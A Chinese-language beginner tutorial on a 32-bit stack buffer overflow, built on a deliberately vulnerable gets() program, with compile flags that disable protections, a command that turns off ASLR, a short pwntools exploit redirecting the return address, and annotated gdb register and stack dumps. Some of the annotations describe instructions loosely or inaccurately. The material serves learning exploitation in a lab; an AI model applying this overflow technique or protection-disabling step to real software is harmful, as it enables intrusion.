目录

缓冲区

我们先以解决这个题目为准 然后通过这个题目去做透

gdb

代码段

 栈中

当前时刻寄存器存储的内容

1 寻找漏洞函数

输入

输出

字符串

2 确定填充长度

覆盖函数返回地址  

覆盖栈上变量的内容

覆盖bss段

栈溢出是在堆栈中 对某一个变量无限制的输入 超出了这个变量的字节数

从而导致了 超出这个变量本身的空间 覆盖到了上一个空间

这个是一个特定的缓冲区漏洞

缓冲区

缓冲区送内存中 存放临时输入输出的数据或者临时变量的区域

所以关于输入输出 所以是缓冲区漏洞

到此为止 我们能够发现 如果要实现栈溢出 有两个前提

（1）可以无限制的输入内容
（2）程序向栈中存入数据

使用wiki的例子

#include <stdio.h>
#include <string.h>
void success() { puts("You Hava already controlled it."); }
void vulnerable() {
  char s[12];
  gets(s);
  puts(s);
  return;
}
int main(int argc, char **argv) {
  vulnerable();
  return 0;
}

gcc -m32 -fno-stack-protector stack_example.c -o stack_example -no-pie

使用gcc 对名为stack_example.c的文件进行编译

-m32 生成32位的程序
-fno-stack-protector 不生成堆栈溢出保护 canary
-no-pie 不开启 pie保护 
如果程序开启了PIE保护的话，在每次加载程序时都变换加载地址，从而不能通过ROPgadget等一些工具来帮助解题

进行checksec查看

使用ubuntu 需要关闭aslr

临时关闭方法

echo 0 > /proc/sys/kernel/randomize_va_space

我们搞完这些 放入ida中看看 反编译

在VMware中安装新版Ubuntu后，无法跨虚拟机复制粘贴和拖拽文件的解决方法_ubuntu虚拟机不能粘贴复制_米修米修ne的博客-CSDN博客

这里给出最新版ubuntu 无法拖拽 vm都安装正常 还是不行的解决方法

 我们能发现反编译后 主函数就是我们写的主函数类型

 然后进入漏洞函数

同样的 

这里主要的是 gets函数 因为他可以无限制的输入内容 不检查输入的长度 只以回车为准

我们先以解决这个题目为准 然后通过这个题目去做透

发现s的长度为和ebp的距离位14

这里我们给出简易版流程图

 说明s的大小为14h

那么在32位中ebp的栈大小为 4个字节 所以如果我们要覆盖到 返回地址 就需要 14h+4h个字节

然后我们需要去找到返回的地址应该指向哪里

 shift+f12 得到controlled

发现success的地址

 源代码中也是success函数 就是我们的"shellcode"

所以我们开始运用pwntools写exp

from pwn import *
p=process('./stack_example')
payload=flat([b'A'*(0x14+0x04),0x08049186])
p.sendline(payload)
p.interactive()

发现我们已经控制了

解决完这个入门题

我们开始解读

gdb

我们开始gdb 的调试 这里我们需要了解一些单词

registers ： 寄存器的状态

 这里是我们前面所学的寄存器 这里我来解释是什么意思

EAX: 0x80491e7 (<main>:	push   ebp)
这句话是 eax指向0x80491e7 它的内容是 把 ebp压入栈内
EBX: 0xf7e2a000 --> 0x229dac 
ebx存放的是 0xf7e2a000 --> 0x229dac这个值 这个可能是一个地址或者变量
ECX: 0xa0645a1a 
ecx存放的是xa0645a1a 也有可能是一个地址或者变量
EDX: 0xffffd140 --> 0xf7e2a000 --> 0x229dac 
edx中存放着0xffffd140 --> 0xf7e2a000 --> 0x229dac 的值 有可能是变量或地址
ESI: 0xffffd1d4 --> 0xffffd386 ("/root/下载/stack_example")
esi存放 0xffffd1d4 --> 0xffffd386 内容是("/root/下载/stack_example")
EDI: 0xf7ffcb80 --> 0x0 
edi存放着0xf7ffcb80 --> 0x0 
EBP: 0xffffd118 --> 0xf7ffd020 --> 0xf7ffda40 --> 0x0 
ebp存放0xffffd118 --> 0xf7ffd020 --> 0xf7ffda40 --> 0x0 
ESP: 0xffffd118 --> 0xf7ffd020 --> 0xf7ffda40 --> 0x0 
esp存放ESP: 0xffffd118 --> 0xf7ffd020 --> 0xf7ffda40 --> 0x0 
EIP: 0x80491ea (<main+3>:	and    esp,0xfffffff0)
eip存放0x80491ea 内容为 (<main+3>:	and    esp,0xfffffff0) 第一条指令
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
下面就是flags寄存器 然后判断有无溢出

代码段

0x80491e6 <vulnerable+53>:	ret
在调用Vulnrable函数的时候的对于mian的返回地址  
   0x80491e7 <main>:	push   ebp
压入main的ebp
   0x80491e8 <main+1>:	mov    ebp,esp
把esp的值赋值给ebp用来准备函数的栈帧
=> 0x80491ea <main+3>:	and    esp,0xfffffff0
对esp取16倍的整数 用来栈对齐
   0x80491ed <main+6>:	call   0x8049203 <__x86.get_pc_thunk.ax>
调用函数<__x86.get_pc_thunk.ax> 取当前的地址 存储在eax中
   0x80491f2 <main+11>:	add    eax,0x2e0e
为上面的地址继续加入偏移量得到 <vulnerable>函数的地址
   0x80491f7 <main+16>:	call   0x80491b1 <vulnerable>
调用函数Vulnrable
   0x80491fc <main+21>:	mov    eax,0x0
把eax设置为0
这里执行完Vulnrable函数后 会通过ret执行 moveax,0x0这条指令

 栈中

[------------------------------------stack-------------------------------------]
0000| 0xffffd118 --> 0xf7ffd020 --> 0xf7ffda40 --> 0x0 
这里 表示为第一个栈帧 0xffffd118   并且里面的内容是
由指针链组成 0xf7ffd020 0xf7ffda40  0x0  这里可能指向的是某个变量或函数调用地址
0004| 0xffffd11c --> 0xf7c21519 (<__libc_start_call_main+121>:	add    esp,0x10)
这里 表示为第二个栈帧 0xffffd11c   内容为
有一个指针 0xf7c21519  他的内容为 函数调用的内容 并且汇编为 add esp,0x10 
这里是指向esp <__libc_start_call_main+121> 并且偏移量为12的地址
0008| 0xffffd120 --> 0x1 
这里 表示为第三个栈帧 0xffffd120
为整数1 可能是某个标志
下面两个栈帧都是指向字符串 的
0012| 0xffffd124 --> 0xffffd1d4 --> 0xffffd386 ("/root/下载/stack_example")
0016| 0xffffd128 --> 0xffffd1dc --> 0xffffd3a1 ("SHELL=/bin/bash")
下面两个是指向相同地址的指针
0020| 0xffffd12c --> 0xffffd140 --> 0xf7e2a000 --> 0x229dac 
0024| 0xffffd130 --> 0xf7e2a000 --> 0x229dac 
0028| 0xffffd134 --> 0x80491e7 (<main>:	push   ebp)
最后一个栈帧 0xffffd134 指向了0x80491e7 内容为 压入ebp
这里是main函数的开始 压入上一个栈帧的ebp 

当前时刻寄存器存储的内容

─────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────────────────────
*EAX  0x80491e7 (main) ◂— 0x83e58955
这里存储的 main函数的开始  0x83e58955表示从这个地址得到的main函数地址
*EBX  0xf7e2a000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
EBX存放着 (_GLOBAL_OFFSET_TABLE_) got表的地址 0x229dac为该地址的偏移量
*ECX  0xa19f0c5c
ECX存放着 0xa19f0c5c
*EDX  0xffffd140 —▸ 0xf7e2a000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
EDX存放着0xffffd140 —▸ 0xf7e2a000 指针链 并且指向的是got表 偏移量为0x229dac
*EDI  0xf7ffcb80 (_rtld_global_ro) ◂— 0x0
EDI存放着 0xf7ffcb80 内容是(_rtld_global_ro) 动态链接器 只要函数使用了共享库的内容 edi就会指向 共享库中的函数地址
*ESI  0xffffd1d4 —▸ 0xffffd386 ◂— 0x6f6f722f ('/roo')
ESI指针存放着指针链 并且是从另一个指针0x6f6f722f ('/roo') 得到
*EBP  0xffffd118 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0x0
EBP指向0xffffd118 0xf7ffd020 0xf7ffda40 这三个指针
_rtld_global 是运行时链接器 (run-time linker) 的全局数据结构，用于跟踪动态链接库和符号解析等信息。
*ESP  0xffffd118 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0x0
ESP和EBP指向的是一样的 因为函数还没有开始 
*EIP  0x80491ea (main+3) ◂— 0xe8f0e483
EIP指针指向 main+3的地址 作为下一条指令

► 0x80491ea <main+3>                     and    esp, 0xfffffff0
把esp的后四位清零 作为一个栈帧
   0x80491ed <main+6>                     call   __x86.get_pc_thunk.ax                     <__x86.get_pc_thunk.ax>
调用函数 
   0x80491f2 <main+11>                    add    eax, 0x2e0e
把0x2e0e赋值给eax
   0x80491f7 <main+16>                    call   vulnerable                     <vulnerable>
开始调用函数
   0x80491fc <main+21>                    mov    eax, 0
把eax清零
   0x8049201 <main+26>                    leave  
退出main函数
   0x8049202 <main+27>                    ret  
从main函数返回
   0x8049203 <__x86.get_pc_thunk.ax>      mov    eax, dword ptr [esp]
   0x8049206 <__x86.get_pc_thunk.ax+3>    ret    
   0x8049207                              add    bl, dh

这里我们发现 main函数也是一个被调用函数 他也有ret 并且在ret执行两次后会结束该程序

给出最后的结论

1 寻找漏洞函数

输入

gets

scanf

vscanf

输出

printf

字符串

strcpy 字符串复制

strcat 字符串拼接

bcopy 复制内存制定地址的前n个字符

2 确定填充长度

覆盖函数返回地址  

看ebp

覆盖栈上变量的内容

进行计算

覆盖bss段